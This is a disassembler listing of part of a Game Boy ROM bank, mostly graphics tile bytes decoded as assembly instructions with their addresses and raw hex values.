ld hl, sp+$54 ; $50a7: $f8 $54
db $fc ; $50a9: $fc
or d ; $50aa: $b2
cp $f2 ; $50ab: $fe $f2
ld a, d ; $50ad: $7a
ld c, b ; $50ae: $48
ret z ; $50af: $c8
ld a, h ; $50b0: $7c
db $fd ; $50b1: $fd
ld a, h ; $50b2: $7c
call $99e8 ; $50b3: $cd $e8 $99
ret z ; $50b6: $c8
ld a, [$fe7c] ; $50b7: $fa $7c $fe
ret c ; $50ba: $d8
call c, $1800 ; $50bb: $dc $00 $18
nop ; $50be: $00
ldh [$7e], a ; $50bf: $e0 $7e
ld h, [hl] ; $50c1: $66
db $76 ; $50c2: $76
ld c, d ; $50c3: $4a
db $fd ; $50c4: $fd
or e ; $50c5: $b3
call z, $c9bb ; $50c6: $cc $bb $c9
cp $8d ; $50c9: $fe $8d
or $45 ; $50cb: $f6 $45
ld a, [hl] ; $50cd: $7e
ld b, a ; $50ce: $47
ld a, a ; $50cf: $7f
nop ; $50d0: $00
nop ; $50d1: $00
nop ; $50d2: $00
nop ; $50d3: $00
nop ; $50d4: $00
nop ; $50d5: $00
add b ; $50d6: $80
add b ; $50d7: $80
ret nz ; $50d8: $c0
ld b, b ; $50d9: $40
ldh [rNR41], a ; $50da: $e0 $20
ldh a, [rNR10] ; $50dc: $f0 $10
ld hl, sp+$18 ; $50de: $f8 $18
and b ; $50e0: $a0
ldh [$c0], a ; $50e1: $e0 $c0
ret nz ; $50e3: $c0
ld h, e ; $50e4: $63
db $e3 ; $50e5: $e3
db $fc ; $50e6: $fc
rst $18 ; $50e7: $df
ld b, [hl] ; $50e8: $46
rst $38 ; $50e9: $ff
adc c ; $50ea: $89
rst $38 ; $50eb: $ff
and $ff ; $50ec: $e6 $ff
sbc a ; $50ee: $9f
sbc a ; $50ef: $9f
ld a, [hl] ; $50f0: $7e
ld h, [hl] ; $50f1: $66
db $76 ; $50f2: $76
ld c, d ; $50f3: $4a
cp $b2 ; $50f4: $fe $b2
adc $ba ; $50f6: $ce $ba
adc $fa ; $50f8: $ce $fa
ld b, [hl] ; $50fa: $46
ld a, [hl] ; $50fb: $7e
ld b, [hl] ; $50fc: $46
ld a, d ; $50fd: $7a
ld b, d ; $50fe: $42
ld a, [hl] ; $50ff: $7e
nop ; $5100: $00
nop ; $5101: $00
nop ; $5102: $00
nop ; $5103: $00
ld bc, $0201 ; $5104: $01 $01 $02
inc bc ; $5107: $03
dec b ; $5108: $05
rlca ; $5109: $07
ld a, [bc] ; $510a: $0a
rrca ; $510b: $0f
add hl, bc ; $510c: $09
rrca ; $510d: $0f
dec d ; $510e: $15
ld e, $01 ; $510f: $1e $01
ld bc, $0000 ; $5111: $01 $00 $00
add b ; $5114: $80
add b ; $5115: $80
ld b, c ; $5116: $41
pop bc ; $5117: $c1
ld h, c ; $5118: $61
add c ; $5119: $81
pop hl ; $511a: $e1
pop hl ; $511b: $e1
sbc c ; $511c: $99
ld sp, hl ; $511d: $f9
add $ff ; $511e: $c6 $ff
ld a, l ; $5120: $7d
ld a, l ; $5121: $7d
ld d, l ; $5122: $55
ld l, l ; $5123: $6d
dec sp ; $5124: $3b
ld a, [hl-] ; $5125: $3a
ld [bc], a ; $5126: $02
inc bc ; $5127: $03
ld [bc], a ; $5128: $02
inc bc ; $5129: $03
jr_006_512a:
inc b ; $512a: $04
rlca ; $512b: $07
ld b, $07 ; $512c: $06 $07
ld b, $05 ; $512e: $06 $05
ld h, e ; $5130: $63
and d ; $5131: $a2
db $e3 ; $5132: $e3
and d ; $5133: $a2
pop bc ; $5134: $c1
pop bc ; $5135: $c1
pop bc ; $5136: $c1
ld b, c ; $5137: $41
ld b, c ; $5138: $41
pop bc ; $5139: $c1
ld [hl+], a ; $513a: $22
db $e3 ; $513b: $e3
ld [hl+], a ; $513c: $22
db $e3 ; $513d: $e3
ld h, e ; $513e: $63
and d ; $513f: $a2
ld c, h ; $5140: $4c
call z, $c0c0 ; $5141: $cc $c0 $c0
ldh [$a0], a ; $5144: $e0 $a0
and b ; $5146: $a0
ld h, b ; $5147: $60
jr nz, jr_006_512a ; $5148: $20 $e0
db $10 ; $514a: $10
ldh a, [$30] ; $514b: $f0 $30
ldh a, [$30] ; $514d: $f0 $30
ret nc ; $514f: $d0
inc hl ; $5150: $23
cp a ; $5151: $bf
jr nz, @-$3f ; $5152: $20 $bf
db $10 ; $5154: $10
sbc a ; $5155: $9f
db $10 ; $5156: $10
ld e, a ; $5157: $5f
inc c ; $5158: $0c
ld c, a ; $5159: $4f
inc bc ; $515a: $03
inc hl ; $515b: $23
nop ; $515c: $00
jr jr_006_515f ; $515d: $18 $00
jr_006_515f:
rlca ; $515f: $07
ld [$0c0f], sp ; $5160: $08 $0f $0c
dec bc ; $5163: $0b
rlca ; $5164: $07
inc b ; $5165: $04
dec de ; $5166: $1b
rra ; $5167: $1f
dec a ; $5168: $3d
daa ; $5169: $27
ld h, a ; $516a: $67
ld e, h ; $516b: $5c
ld c, e ; $516c: $4b
ld a, l ; $516d: $7d
or [hl] ; $516e: $b6
cp $fc ; $516f: $fe $fc
add h ; $5171: $84
db $fc ; $5172: $fc
call nz, $b6be ; $5173: $c4 $be $b6
xor a ; $5176: $af
cp l ; $5177: $bd
sub $7a ; $5178: $d6 $7a
adc h ; $517a: $8c
ld hl, sp-$2c ; $517b: $f8 $d4
db $fc ; $517d: $fc
xor b ; $517e: $a8
ld hl, sp-$01 ; $517f: $f8 $ff
nop ; $5181: $00
rst $38 ; $5182: $ff
nop ; $5183: $00
rst $38 ; $5184: $ff
nop ; $5185: $00
rst $38 ; $5186: $ff
nop ; $5187: $00
rst $38 ; $5188: $ff
nop ; $5189: $00
rst $38 ; $518a: $ff
nop ; $518b: $00
rst $38 ; $518c: $ff
nop ; $518d: $00
rst $38 ; $518e: $ff
nop ; $518f: $00
ld e, $11 ; $5190: $1e $11
dec bc ; $5192: $0b
inc c ; $5193: $0c
rrca ; $5194: $0f
ld [$161f], sp ; $5195: $08 $1f $16
add hl, de ; $5198: $19
rla ; $5199: $17
add hl, de ; $519a: $19
rra ; $519b: $1f
db $10 ; $519c: $10
rra ; $519d: $1f
ld [$c00f], sp ; $519e: $08 $0f $c0
ld b, b ; $51a1: $40
ret nz ; $51a2: $c0
ret nz ; $51a3: $c0
ld b, b ; $51a4: $40
ret nz ; $51a5: $c0
ret nz ; $51a6: $c0
ld b, b ; $51a7: $40
and b ; $51a8: $a0
ld h, b ; $51a9: $60
sub b ; $51aa: $90
ld [hl], b ; $51ab: $70
xor b ; $51ac: $a8
ret c ; $51ad: $d8
ld hl, sp-$78 ; $51ae: $f8 $88
nop ; $51b0: $00
nop ; $51b1: $00
nop ; $51b2: $00
nop ; $51b3: $00
ld bc, $0301 ; $51b4: $01 $01 $03
ld [bc], a ; $51b7: $02
inc b ; $51b8: $04
rlca ; $51b9: $07
dec bc ; $51ba: $0b
rrca ; $51bb: $0f
ld [$310f], sp ; $51bc: $08 $0f $31
ccf ; $51bf: $3f
ld h, l ; $51c0: $65
ld e, l ; $51c1: $5d
cp $e7 ; $51c2: $fe $e7
sbc $3b ; $51c4: $de $3b
dec c ; $51c6: $0d
rst $30 ; $51c7: $f7
sbc h ; $51c8: $9c
rst $28 ; $51c9: $ef
ccf ; $51ca: $3f
rst $38 ; $51cb: $ff
rst $30 ; $51cc: $f7
db $fc ; $51cd: $fc
ld h, $3a ; $51ce: $26 $3a
cp b ; $51d0: $b8
ldh a, [$58] ; $51d1: $f0 $58
add sp, $50 ; $51d3: $e8 $50
ldh a, [$a0] ; $51d5: $f0 $a0
ldh [rLCDC], a ; $51d7: $e0 $40
ret nz ; $51d9: $c0
add b ; $51da: $80
add b ; $51db: $80
nop ; $51dc: $00
nop ; $51dd: $00
nop ; $51de: $00
nop ; $51df: $00
ld h, h ; $51e0: $64
call c, $fc7c ; $51e1: $dc $7c $fc
ld c, [hl] ; $51e4: $4e
ld a, [$fc7c] ; $51e5: $fa $7c $fc
ld hl, sp-$08 ; $51e8: $f8 $f8
call nc, Call_006_62fc ; $51ea: $d4 $fc $62
ld a, [hl] ; $51ed: $7e
ld e, $1e ; $51ee: $1e $1e
inc hl ; $51f0: $23
ccf ; $51f1: $3f
daa ; $51f2: $27
dec sp ; $51f3: $3b
ccf ; $51f4: $3f
ld h, $3f ; $51f5: $26 $3f
dec a ; $51f7: $3d
dec hl ; $51f8: $2b
dec a ; $51f9: $3d
ld a, d ; $51fa: $7a
ld c, [hl] ; $51fb: $4e
jp z, $c4be ; $51fc: $ca $be $c4
cp h ; $51ff: $bc
inc de ; $5200: $13
rra ; $5201: $1f
rla ; $5202: $17
dec de ; $5203: $1b
inc d ; $5204: $14
inc e ; $5205: $1c
jr jr_006_5220 ; $5206: $18 $18
nop ; $5208: $00
nop ; $5209: $00
nop ; $520a: $00
nop ; $520b: $00
nop ; $520c: $00
nop ; $520d: $00
nop ; $520e: $00
nop ; $520f: $00
adc d ; $5210: $8a
ld a, a ; $5211: $7f
jr_006_5212:
bit 7, [hl] ; $5212: $cb $7e
and a ; $5214: $a7
cp [hl] ; $5215: $be
rla ; $5216: $17
dec de ; $5217: $1b
dec bc ; $5218: $0b
dec c ; $5219: $0d
ld b, $04 ; $521a: $06 $04
ld bc, $0000 ; $521c: $01 $00 $00
nop ; $521f: $00
jr_006_5220:
ld b, $05 ; $5220: $06 $05
ld [bc], a ; $5222: $02
inc bc ; $5223: $03
jr_006_5224:
ld [bc], a ; $5224: $02
inc bc ; $5225: $03
ld bc, $0407 ; $5226: $01 $07 $04
rlca ; $5229: $07
dec bc ; $522a: $0b
rrca ; $522b: $0f
ld de, $1f1f ; $522c: $11 $1f $1f
rra ; $522f: $1f
ld h, e ; $5230: $63
and d ; $5231: $a2
ld b, c ; $5232: $41
pop bc ; $5233: $c1
ld b, c ; $5234: $41
pop bc ; $5235: $c1
jr_006_5236:
ld b, c ; $5236: $41
pop bc ; $5237: $c1
add b ; $5238: $80
add b ; $5239: $80
pop bc ; $523a: $c1
ld b, c ; $523b: $41
ld b, c ; $523c: $41
pop bc ; $523d: $c1
add b ; $523e: $80
add b ; $523f: $80
jr nc, jr_006_5212 ; $5240: $30 $d0
jr nz, jr_006_5224 ; $5242: $20 $e0
jr nc, jr_006_5236 ; $5244: $30 $f0
ld b, b ; $5246: $40
ldh a, [$90] ; $5247: $f0 $90
ldh a, [$e8] ; $5249: $f0 $e8
ld a, b ; $524b: $78
ld b, h ; $524c: $44
db $fc ; $524d: $fc
db $fc ; $524e: $fc
db $fc ; $524f: $fc
nop ; $5250: $00
nop ; $5251: $00
inc bc ; $5252: $03
ld bc, $0705 ; $5253: $01 $05 $07
ld a, [bc] ; $5256: $0a
rrca ; $5257: $0f
dec b ; $5258: $05
rlca ; $5259: $07
ld [bc], a ; $525a: $02
inc bc ; $525b: $03
ld bc, $0001 ; $525c: $01 $01 $00
nop ; $525f: $00
adc b ; $5260: $88
ld hl, sp+$31 ; $5261: $f8 $31
pop af ; $5263: $f1
pop bc ; $5264: $c1
pop bc ; $5265: $c1
db $e3 ; $5266: $e3
add d ; $5267: $82
db $e3 ; $5268: $e3
ld h, e ; $5269: $63
or d ; $526a: $b2
db $d3 ; $526b: $d3
dec bc ; $526c: $0b
ei ; $526d: $fb
ld hl, sp-$08 ; $526e: $f8 $f8
sub b ; $5270: $90
ldh a, [rNR41] ; $5271: $f0 $20
ldh [$b0], a ; $5273: $e0 $b0
ldh a, [$f8] ; $5275: $f0 $f8
add sp, $78 ; $5277: $e8 $78
ret c ; $5279: $d8
inc l ; $527a: $2c
db $f4 ; $527b: $f4
jp nz, Jump_000_3efe ; $527c: $c2 $fe $3e
ld a, $40 ; $527f: $3e $40
ret nz ; $5281: $c0
ldh a, [$f0] ; $5282: $f0 $f0
inc a ; $5284: $3c
call z, $c33f ; $5285: $cc $3f $c3
cp l ; $5288: $bd
add $fb ; $5289: $c6 $fb
sbc l ; $528b: $9d
xor a ; $528c: $af
rst $38 ; $528d: $ff
jp nc, Jump_000_00fe ; $528e: $d2 $fe $00
nop ; $5291: $00
dec e ; $5292: $1d
rra ; $5293: $1f
inc de ; $5294: $13
rra ; $5295: $1f
rla ; $5296: $17
ld e, $19 ; $5297: $1e $19
rra ; $5299: $1f
ld [$090f], sp ; $529a: $08 $0f $09
rrca ; $529d: $0f
jr_006_529e:
dec bc ; $529e: $0b
rrca ; $529f: $0f
add b ; $52a0: $80
add b ; $52a1: $80
ldh [$e0], a ; $52a2: $e0 $e0
jr jr_006_529e ; $52a4: $18 $f8
db $fc ; $52a6: $fc
ld a, h ; $52a7: $7c
jp nz, $997e ; $52a8: $c2 $7e $99
rst $20 ; $52ab: $e7
add l ; $52ac: $85
ei ; $52ad: $fb
ld bc, $77ff ; $52ae: $01 $ff $77
ld e, a ; $52b1: $5f
cp $d9 ; $52b2: $fe $d9
xor a ; $52b4: $af
rst $30 ; $52b5: $f7
ld e, d ; $52b6: $5a
ld a, [hl] ; $52b7: $7e
cpl ; $52b8: $2f
dec a ; $52b9: $3d
ld de, $081f ; $52ba: $11 $1f $08
rrca ; $52bd: $0f
rlca ; $52be: $07
rlca ; $52bf: $07
ld a, [de] ; $52c0: $1a
ld e, $15 ; $52c1: $1e $15
rra ; $52c3: $1f
add hl, bc ; $52c4: $09
rrca ; $52c5: $0f
rlca ; $52c6: $07
rlca ; $52c7: $07
nop ; $52c8: $00
nop ; $52c9: $00
nop ; $52ca: $00
nop ; $52cb: $00
add b ; $52cc: $80
add b ; $52cd: $80
add b ; $52ce: $80
add b ; $52cf: $80
add hl, de ; $52d0: $19
rla ; $52d1: $17
dec e ; $52d2: $1d
ld [de], a ; $52d3: $12
ccf ; $52d4: $3f
inc l ; $52d5: $2c
or e ; $52d6: $b3
xor [hl] ; $52d7: $ae
di ; $52d8: $f3
cp [hl] ; $52d9: $be
ld h, c ; $52da: $61
rst $38 ; $52db: $ff
ldh a, [rIE] ; $52dc: $f0 $ff
ld hl, sp-$01 ; $52de: $f8 $ff
nop ; $52e0: $00
nop ; $52e1: $00
ld bc, $0301 ; $52e2: $01 $01 $03
ld [bc], a ; $52e5: $02
dec b ; $52e6: $05
ld b, $07 ; $52e7: $06 $07
rlca ; $52e9: $07
inc b ; $52ea: $04
rlca ; $52eb: $07
inc bc ; $52ec: $03
inc bc ; $52ed: $03
nop ; $52ee: $00
nop ; $52ef: $00
xor b ; $52f0: $a8
ld hl, sp+$10 ; $52f1: $f8 $10
ldh a, [$b0] ; $52f3: $f0 $b0
ldh [$f0], a ; $52f5: $e0 $f0
ret nc ; $52f7: $d0
ld a, b ; $52f8: $78
ret c ; $52f9: $d8
db $e4 ; $52fa: $e4
db $fc ; $52fb: $fc
ld [de], a ; $52fc: $12
cp $fe ; $52fd: $fe $fe
cp $d6 ; $52ff: $fe $d6
ld a, [hl+] ; $5301: $2a
db $fc ; $5302: $fc
call z, $94ec ; $5303: $cc $ec $94
db $fc ; $5306: $fc
ld h, h ; $5307: $64
sbc h ; $5308: $9c
db $f4 ; $5309: $f4
ld [de], a ; $530a: $12
cp $15 ; $530b: $fe $15
ei ; $530d: $fb
ld e, $f1 ; $530e: $1e $f1
nop ; $5310: $00
nop ; $5311: $00
nop ; $5312: $00
nop ; $5313: $00
nop ; $5314: $00
nop ; $5315: $00
ld bc, $0201 ; $5316: $01 $01 $02
inc bc ; $5319: $03
ld [bc], a ; $531a: $02
inc bc ; $531b: $03
dec b ; $531c: $05
rlca ; $531d: $07
rlca ; $531e: $07
ld b, $00 ; $531f: $06 $00
nop ; $5321: $00
rlca ; $5322: $07
rlca ; $5323: $07
rrca ; $5324: $0f
ld [$101f], sp ; $5325: $08 $1f $10
ld a, a ; $5328: $7f
ld [hl], c ; $5329: $71
sbc a ; $532a: $9f
jp hl ; $532b: $e9
or a ; $532c: $b7
cp $9b ; $532d: $fe $9b
rst $38 ; $532f: $ff
ccf ; $5330: $3f
ccf ; $5331: $3f
ld a, [hl] ; $5332: $7e
ld c, c ; $5333: $49
di ; $5334: $f3
sbc a ; $5335: $9f
db $ed ; $5336: $ed
rst $38 ; $5337: $ff
ld a, l ; $5338: $7d
rst $38 ; $5339: $ff
dec [hl] ; $533a: $35
rst $38 ; $533b: $ff
and l ; $533c: $a5
rst $38 ; $533d: $ff
push af ; $533e: $f5
ld a, a ; $533f: $7f
jr_006_5340:
nop ; $5340: $00
nop ; $5341: $00
add b ; $5342: $80
add b ; $5343: $80
nop ; $5344: $00
ret nz ; $5345: $c0
jr jr_006_5340 ; $5346: $18 $f8
inc c ; $5348: $0c
db $fc ; $5349: $fc
inc c ; $534a: $0c
db $fc ; $534b: $fc
ld l, $da ; $534c: $2e $da
ld a, [hl+] ; $534e: $2a
sbc $00 ; $534f: $de $00
nop ; $5351: $00
inc bc ; $5352: $03
inc bc ; $5353: $03
ld c, $0d ; $5354: $0e $0d
rra ; $5356: $1f
rra ; $5357: $1f
db $10 ; $5358: $10
rra ; $5359: $1f
inc bc ; $535a: $03
inc e ; $535b: $1c
nop ; $535c: $00
ccf ; $535d: $3f
ld b, b ; $535e: $40
ld a, a ; $535f: $7f
nop ; $5360: $00
nop ; $5361: $00
ldh [$e0], a ; $5362: $e0 $e0
db $10 ; $5364: $10
ldh a, [rOBP0] ; $5365: $f0 $48
ld hl, sp-$7c ; $5367: $f8 $84
db $fc ; $5369: $fc
ld d, h ; $536a: $54
db $ec ; $536b: $ec
db $fc ; $536c: $fc
ld b, h ; $536d: $44
inc [hl] ; $536e: $34
db $ec ; $536f: $ec
ld a, a ; $5370: $7f
ld c, l ; $5371: $4d
ld a, a ; $5372: $7f
ld b, e ; $5373: $43
ld a, [hl] ; $5374: $7e
ld b, e ; $5375: $43
dec a ; $5376: $3d
daa ; $5377: $27
rra ; $5378: $1f
dec de ; $5379: $1b
ld a, [bc] ; $537a: $0a
rrca ; $537b: $0f
ld [$070f], sp ; $537c: $08 $0f $07
rlca ; $537f: $07
cp h ; $5380: $bc
ld [$fe12], a ; $5381: $ea $12 $fe
inc a ; $5384: $3c
db $fc ; $5385: $fc
ldh a, [$c0] ; $5386: $f0 $c0
call c, $84bc ; $5388: $dc $bc $84
db $fc ; $538b: $fc
cp b ; $538c: $b8
ld a, b ; $538d: $78
ret nz ; $538e: $c0
ret nz ; $538f: $c0
rrca ; $5390: $0f
dec c ; $5391: $0d
dec c ; $5392: $0d
dec bc ; $5393: $0b
ccf ; $5394: $3f
ccf ; $5395: $3f
jr_006_5396:
ld c, [hl] ; $5396: $4e
ld a, e ; $5397: $7b
and a ; $5398: $a7
db $fd ; $5399: $fd
ld l, e ; $539a: $6b
ld a, a ; $539b: $7f
ld d, [hl] ; $539c: $56
ld a, a ; $539d: $7f
ccf ; $539e: $3f
ccf ; $539f: $3f
ccf ; $53a0: $3f
rst $38 ; $53a1: $ff
ld [c], a ; $53a2: $e2
cp $9e ; $53a3: $fe $9e
cp $c4 ; $53a5: $fe $c4
ld a, h ; $53a7: $7c
ld l, h ; $53a8: $6c
cp h ; $53a9: $bc
inc a ; $53aa: $3c
db $f4 ; $53ab: $f4
jr c, jr_006_5396 ; $53ac: $38 $e8
add sp, -$28 ; $53ae: $e8 $d8
rlca ; $53b0: $07
rlca ; $53b1: $07
inc e ; $53b2: $1c
rra ; $53b3: $1f
jr nc, jr_006_53f5 ; $53b4: $30 $3f
ld h, e ; $53b6: $63
ld a, a ; $53b7: $7f
ld c, [hl] ; $53b8: $4e
ld a, a ; $53b9: $7f
call $9fff ; $53ba: $cd $ff $9f
rst $38 ; $53bd: $ff
sbc l ; $53be: $9d
rst $38 ; $53bf: $ff
ldh [$e0], a ; $53c0: $e0 $e0
jr c, @-$06 ; $53c2: $38 $f8
inc c ; $53c4: $0c
db $fc ; $53c5: $fc
and [hl] ; $53c6: $a6
cp $c2 ; $53c7: $fe $c2
cp $83 ; $53c9: $fe $83
rst $38 ; $53cb: $ff
and c ; $53cc: $a1
rst $18 ; $53cd: $df
jp hl ; $53ce: $e9
rst $38 ; $53cf: $ff
rst $28 ; $53d0: $ef
cp a ; $53d1: $bf
db $dd ; $53d2: $dd
ld a, a ; $53d3: $7f
db $fd ; $53d4: $fd
rst $30 ; $53d5: $f7
ld a, c ; $53d6: $79
rst $38 ; $53d7: $ff
ccf ; $53d8: $3f
rst $00 ; $53d9: $c7
ld sp, hl ; $53da: $f9
sbc a ; $53db: $9f
push hl ; $53dc: $e5
rst $38 ; $53dd: $ff
jp z, $1afe ; $53de: $ca $fe $1a
rla ; $53e1: $17
dec a ; $53e2: $3d
inc hl ; $53e3: $23
ld a, $2d ; $53e4: $3e $2d
di ; $53e6: $f3
cp $63 ; $53e7: $fe $63
cp $b0 ; $53e9: $fe $b0
rst $18 ; $53eb: $df
ld [hl], b ; $53ec: $70
rst $38 ; $53ed: $ff
ret c ; $53ee: $d8
ld a, a ; $53ef: $7f
rst $28 ; $53f0: $ef
cp a ; $53f1: $bf
xor c ; $53f2: $a9
cp a ; $53f3: $bf
db $dd ; $53f4: $dd
jr_006_53f5:
rst $30 ; $53f5: $f7
ld a, a ; $53f6: $7f
rst $38 ; $53f7: $ff
cp l ; $53f8: $bd
add $fb ; $53f9: $c6 $fb
sbc l ; $53fb: $9d
xor a ; $53fc: $af
rst $38 ; $53fd: $ff
jp nc, Jump_000_3ffe ; $53fe: $d2 $fe $3f
ret nc ; $5401: $d0
daa ; $5402: $27
add sp, $2b ; $5403: $e8 $2b
db $ec ; $5405: $ec
rst $00 ; $5406: $c7
ld b, a ; $5407: $47
add l ; $5408: $85
add a ; $5409: $87
inc b ; $540a: $04
rlca ; $540b: $07
ld b, $07 ; $540c: $06 $07
inc bc ; $540e: $03
inc bc ; $540f: $03
add b ; $5410: $80
add b ; $5411: $80
add b ; $5412: $80
add b ; $5413: $80
ldh a, [$50] ; $5414: $f0 $50
ldh a, [$d0] ; $5416: $f0 $d0
ret nc ; $5418: $d0
or b ; $5419: $b0
ldh [$e0], a ; $541a: $e0 $e0
and b ; $541c: $a0
ldh [rNR41], a ; $541d: $e0 $20
ldh [$f9], a ; $541f: $e0 $f9
cp a ; $5421: $bf
sbc b ; $5422: $98
rst $28 ; $5423: $ef
ld c, l ; $5424: $4d
ld [hl], a ; $5425: $77
ld e, a ; $5426: $5f
db $76 ; $5427: $76
ld d, l ; $5428: $55
ld [hl], a ; $5429: $77
dec [hl] ; $542a: $35
ld [hl], $02 ; $542b: $36 $02
inc bc ; $542d: $03
jr_006_542e:
nop ; $542e: $00
nop ; $542f: $00
jp nc, $8eff ; $5430: $d2 $ff $8e
rst $38 ; $5433: $ff
adc a ; $5434: $8f
ei ; $5435: $fb
sbc $f7 ; $5436: $de $f7
push hl ; $5438: $e5
ld a, l ; $5439: $7d
ld hl, sp-$58 ; $543a: $f8 $a8
jr nc, jr_006_542e ; $543c: $30 $f0
nop ; $543e: $00
nop ; $543f: $00
ld d, d ; $5440: $52
cp [hl] ; $5441: $be
ld l, d ; $5442: $6a
cp $c2 ; $5443: $fe $c2
cp [hl] ; $5445: $be
db $e4 ; $5446: $e4
inc e ; $5447: $1c
ld c, b ; $5448: $48
cp b ; $5449: $b8
ldh a, [$f0] ; $544a: $f0 $f0
nop ; $544c: $00
nop ; $544d: $00
nop ; $544e: $00
nop ; $544f: $00
cp a ; $5450: $bf
rst $38 ; $5451: $ff
ldh [$bf], a ; $5452: $e0 $bf
rst $18 ; $5454: $df
cp a ; $5455: $bf
ret c ; $5456: $d8
rst $38 ; $5457: $ff
db $ed ; $5458: $ed
cp a ; $5459: $bf
rst $38 ; $545a: $ff
sbc a ; $545b: $9f
ld a, c ; $545c: $79
ld e, a ; $545d: $5f
inc sp ; $545e: $33
ld a, $28 ; $545f: $3e $28
ld hl, sp-$10 ; $5461: $f8 $f0
ldh a, [$78] ; $5463: $f0 $78
ret c ; $5465: $d8
ld [hl], h ; $5466: $74
db $ec ; $5467: $ec
sub [hl] ; $5468: $96
ld a, [$fe0e] ; $5469: $fa $0e $fe
sbc h ; $546c: $9c
ld a, [$f6fc] ; $546d: $fa $fc $f6
ld e, h ; $5470: $5c
db $ec ; $5471: $ec
adc $7a ; $5472: $ce $7a
adc l ; $5474: $8d
rst $30 ; $5475: $f7
adc l ; $5476: $8d
rst $30 ; $5477: $f7
db $dd ; $5478: $dd
rst $28 ; $5479: $ef
ld a, [$bcfe] ; $547a: $fa $fe $bc
db $fc ; $547d: $fc
db $fc ; $547e: $fc
db $fc ; $547f: $fc
and b ; $5480: $a0
ldh [rLCDC], a ; $5481: $e0 $40
ret nz ; $5483: $c0
rst $20 ; $5484: $e7
rst $20 ; $5485: $e7
cp h ; $5486: $bc
rst $18 ; $5487: $df
call nc, Call_000_2f7f ; $5488: $d4 $7f $2f
rst $38 ; $548b: $ff
call Call_006_7ff7 ; $548c: $cd $f7 $7f
ld a, a ; $548f: $7f
nop ; $5490: $00
nop ; $5491: $00
nop ; $5492: $00
nop ; $5493: $00
rra ; $5494: $1f
ld de, $131c ; $5495: $11 $1c $13
ccf ; $5498: $3f
ld h, $39 ; $5499: $26 $39
cpl ; $549b: $2f
inc e ; $549c: $1c
rla ; $549d: $17
ld [$000f], sp ; $549e: $08 $0f $00
nop ; $54a1: $00
nop ; $54a2: $00
nop ; $54a3: $00
rst $28 ; $54a4: $ef
cp a ; $54a5: $bf
xor c ; $54a6: $a9
cp a ; $54a7: $bf
db $dd ; $54a8: $dd
rst $30 ; $54a9: $f7
rst $38 ; $54aa: $ff
rst $38 ; $54ab: $ff
ei ; $54ac: $fb
sbc l ; $54ad: $9d
ld h, d ; $54ae: $62
cp $9f ; $54af: $fe $9f
rst $38 ; $54b1: $ff
sub a ; $54b2: $97
rst $38 ; $54b3: $ff
set 7, [hl] ; $54b4: $cb $fe
ld c, d ; $54b6: $4a
ld a, a ; $54b7: $7f
ld h, e ; $54b8: $63
ld a, a ; $54b9: $7f
jr nc, @+$41 ; $54ba: $30 $3f
inc e ; $54bc: $1c
rra ; $54bd: $1f
rlca ; $54be: $07
rlca ; $54bf: $07
ld h, c ; $54c0: $61
rst $38 ; $54c1: $ff
pop af ; $54c2: $f1
cp a ; $54c3: $bf
ld [hl], e ; $54c4: $73
rst $28 ; $54c5: $ef
jr_006_54c6:
ld [hl-], a ; $54c6: $32
adc $06 ; $54c7: $ce $06
cp $0c ; $54c9: $fe $0c
db $fc ; $54cb: $fc
jr c, jr_006_54c6 ; $54cc: $38 $f8
ldh [$e0], a ; $54ce: $e0 $e0
ld a, [bc] ; $54d0: $0a
rrca ; $54d1: $0f
add hl, bc ; $54d2: $09
rrca ; $54d3: $0f
ld a, [bc] ; $54d4: $0a
ld c, $0c ; $54d5: $0e $0c
inc c ; $54d7: $0c
nop ; $54d8: $00
nop ; $54d9: $00
nop ; $54da: $00
nop ; $54db: $00
nop ; $54dc: $00
nop ; $54dd: $00
nop ; $54de: $00
nop ; $54df: $00
call z, $d67f ; $54e0: $cc $7f $d6
db $fd ; $54e3: $fd
inc sp ; $54e4: $33
ld a, $35 ; $54e5: $3e $35
cpl ; $54e7: $2f
add hl, de ; $54e8: $19
rra ; $54e9: $1f
ld a, [bc] ; $54ea: $0a
dec c ; $54eb: $0d
rlca ; $54ec: $07
ld b, $01 ; $54ed: $06 $01
ld bc, $fc54 ; $54ef: $01 $54 $fc
ld c, h ; $54f2: $4c
db $fc ; $54f3: $fc
ld a, h ; $54f4: $7c
db $f4 ; $54f5: $f4
ld a, b ; $54f6: $78
ret z ; $54f7: $c8
ld hl, sp-$08 ; $54f8: $f8 $f8
call nc, Call_006_62fc ; $54fa: $d4 $fc $62
cp $9e ; $54fd: $fe $9e
sbc [hl] ; $54ff: $9e
ld [bc], a ; $5500: $02
inc bc ; $5501: $03
jr_006_5502:
inc bc ; $5502: $03
inc bc ; $5503: $03
inc bc ; $5504: $03
inc bc ; $5505: $03
rlca ; $5506: $07
dec b ; $5507: $05
ld [bc], a ; $5508: $02
inc bc ; $5509: $03
ld [bc], a ; $550a: $02
inc bc ; $550b: $03
ld bc, $0001 ; $550c: $01 $01 $00
nop ; $550f: $00
jr nc, jr_006_5502 ; $5510: $30 $f0
jr c, @-$16 ; $5512: $38 $e8
ld [hl], a ; $5514: $77
rst $18 ; $5515: $df
ld hl, sp-$21 ; $5516: $f8 $df
db $d3 ; $5518: $d3
rst $38 ; $5519: $ff
inc e ; $551a: $1c
db $fc ; $551b: $fc
ldh [$e0], a ; $551c: $e0 $e0
nop ; $551e: $00
nop ; $551f: $00
nop ; $5520: $00
nop ; $5521: $00
nop ; $5522: $00
nop ; $5523: $00
nop ; $5524: $00
nop ; $5525: $00
nop ; $5526: $00
nop ; $5527: $00
nop ; $5528: $00
nop ; $5529: $00
ld bc, $0301 ; $552a: $01 $01 $03
ld [bc], a ; $552d: $02
rlca ; $552e: $07
rlca ; $552f: $07
nop ; $5530: $00
nop ; $5531: $00
nop ; $5532: $00
nop ; $5533: $00
nop ; $5534: $00
nop ; $5535: $00
nop ; $5536: $00
nop ; $5537: $00
ld [hl], b ; $5538: $70
ld [hl], b ; $5539: $70
call z, $02bc ; $553a: $cc $bc $02
cp $e2 ; $553d: $fe $e2
cp $0a ; $553f: $fe $0a
rrca ; $5541: $0f
inc e ; $5542: $1c
rla ; $5543: $17
inc e ; $5544: $1c
rla ; $5545: $17
inc [hl] ; $5546: $34
cpl ; $5547: $2f
cpl ; $5548: $2f
ccf ; $5549: $3f
ld l, $3f ; $554a: $2e $3f
ccf ; $554c: $3f
daa ; $554d: $27
ld e, $13 ; $554e: $1e $13
ld de, $6dff ; $5550: $11 $ff $6d
sbc e ; $5553: $9b
rra ; $5554: $1f
jp hl ; $5555: $e9
rlca ; $5556: $07
db $fd ; $5557: $fd
and $fe ; $5558: $e6 $fe
